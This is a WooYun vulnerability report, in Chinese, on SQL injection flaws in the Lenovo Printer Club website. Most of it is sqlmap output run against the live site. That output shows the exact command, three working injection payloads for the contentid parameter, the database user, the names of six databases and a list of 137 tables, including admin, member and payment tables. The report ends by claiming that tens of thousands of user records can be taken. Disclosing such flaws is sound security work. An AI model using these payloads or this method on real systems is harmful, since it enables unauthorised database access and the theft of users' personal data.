WooYun.org

站点：
http://lenovoprinterclub.com 联想打印用户俱乐部
昨天复查的时候又找出2处存在SQL注入漏洞
http://www.lenovoprinterclub.com/about_procontent.php?contentid=18
http://www.lenovoprinterclub.com/newscontent.php?contentid=83
[root@Hacker~]# Sqlmap sqlmap.py -u "http://www.lenovoprinterclub.com/newsconten
t.php?contentid=83" --dbs --current-user --current-db
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 14:42:33
[14:42:33] [INFO] resuming back-end DBMS 'mysql'
[14:42:33] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: contentid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: contentid=83 AND 2551=2551
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: contentid=83 AND (SELECT 3550 FROM(SELECT COUNT(*),CONCAT(0x3a6e797
03a,(SELECT (CASE WHEN (3550=3550) THEN 1 ELSE 0 END)),0x3a7a6d6f3a,FLOOR(RAND(0
)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: contentid=83 AND SLEEP(5)
---
[14:42:33] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.4.10
back-end DBMS: MySQL 5.0
[14:42:33] [INFO] fetching current user
[14:42:33] [INFO] resumed: noteant@localhost
current user: 'noteant@localhost'
[14:42:33] [INFO] fetching current database
[14:42:33] [INFO] resumed: com_lenovoprinterclub_www
current database: 'com_lenovoprinterclub_www'
[14:42:33] [INFO] fetching database names
[14:42:33] [INFO] the SQL query used returns 6 entries
[14:42:33] [INFO] resumed: information_schema
[14:42:33] [INFO] resumed: cn_com_lenovo_horizon
[14:42:33] [INFO] resumed: cn_lenovoprinter_app
[14:42:33] [INFO] resumed: com_lenovo_idea_app
[14:42:33] [INFO] resumed: com_lenovo_idea_weixin
[14:42:33] [INFO] resumed: com_lenovoprinterclub_www
available databases [6]:
[*] cn_com_lenovo_horizon
[*] cn_lenovoprinter_app
[*] com_lenovo_idea_app
[*] com_lenovo_idea_weixin
[*] com_lenovoprinterclub_www
[*] information_schema
Database: com_lenovoprinterclub_www
[137 tables]
+------------------------+
| ng_800 |
| ng_admin |
| ng_admin_role |
| ng_admin_role_priv |
| ng_ads |
| ng_ads_1008 |
| ng_ads_1009 |
| ng_ads_1303 |
| ng_ads_1312 |
| ng_ads_place |
| ng_ads_stat |
| ng_announce |
| ng_area |
| ng_ask |
| ng_ask_actor |
| ng_ask_credit |
| ng_ask_posts |
| ng_ask_vote |
| ng_attachment |
| ng_author |
| ng_block |
| ng_c_case |
| ng_c_down |
| ng_c_gift |
| ng_c_info |
| ng_c_ku6video |
| ng_c_news |
| ng_c_picture |
| ng_c_product |
| ng_c_video |
| ng_c_voucher |
| ng_cache_count |
| ng_category |
| ng_collect |
| ng_comment |
| ng_content |
| ng_content_count |
| ng_content_position |
| ng_content_tag |
| ng_copyfrom |
| ng_datasource |
| ng_digg |
| ng_digg_log |
| ng_editor_data |
| ng_error_report |
| ng_form_test1 |
| ng_formguide |
| ng_formguide_fields |
| ng_giftorder |
| ng_guestbook |
| ng_hits |
| ng_ipbanned |
| ng_keylink |
| ng_keyword |
| ng_link |
| ng_linkage |
| ng_log |
| ng_mail |
| ng_mail_email |
| ng_mail_email_type |
| ng_member |
| ng_member_cache |
| ng_member_company |
| ng_member_detail |
| ng_member_group |
| ng_member_group_extend |
| ng_member_group_priv |
| ng_member_info |
| ng_member_regprod |
| ng_member_voucher |
| ng_membertype |
| ng_menu |
| ng_message |
| ng_model |
| ng_model_field |
| ng_module |
| ng_mood |
| ng_mood_data |
| ng_order |
| ng_order_deliver |
| ng_order_log |
| ng_pay_card |
| ng_pay_exchange |
| ng_pay_payment |
| ng_pay_pointcard_type |
| ng_pay_stat |
| ng_pay_user_account |
| ng_player |
| ng_point_detail |
| ng_position |
| ng_process |
| ng_process_status |
| ng_regprod |
| ng_regprod_printhome |
| ng_role |
| ng_search |
| ng_search_type |
| ng_serialnumber |
| ng_session |
| ng_space |
| ng_space_api |
| ng_special |
| ng_special_content |
| ng_spider_job |
| ng_spider_sites |
| ng_spider_urls |
| ng_status |
| ng_times |
| ng_type |
| ng_urlrule |
| ng_video |
| ng_video_count |
| ng_video_data |
| ng_video_position |
| ng_video_special |
| ng_video_special_list |
| ng_video_tag |
| ng_vote_data |
| ng_vote_option |
| ng_vote_subject |
| ng_vote_useroption |
| ng_voucher |
| ng_workflow |
| ng_yp_apply |
| ng_yp_buy |
| ng_yp_cert |
| ng_yp_collect |
| ng_yp_count |
| ng_yp_guestbook |
| ng_yp_job |
| ng_yp_news |
| ng_yp_product |
| ng_yp_relation |
| ng_yp_stats |
| ng_yp_stock |
| test |
| test2010 |
+------------------------+
部分数据，同样可以获取数万用户信息

萝卜

用户信息侧漏

over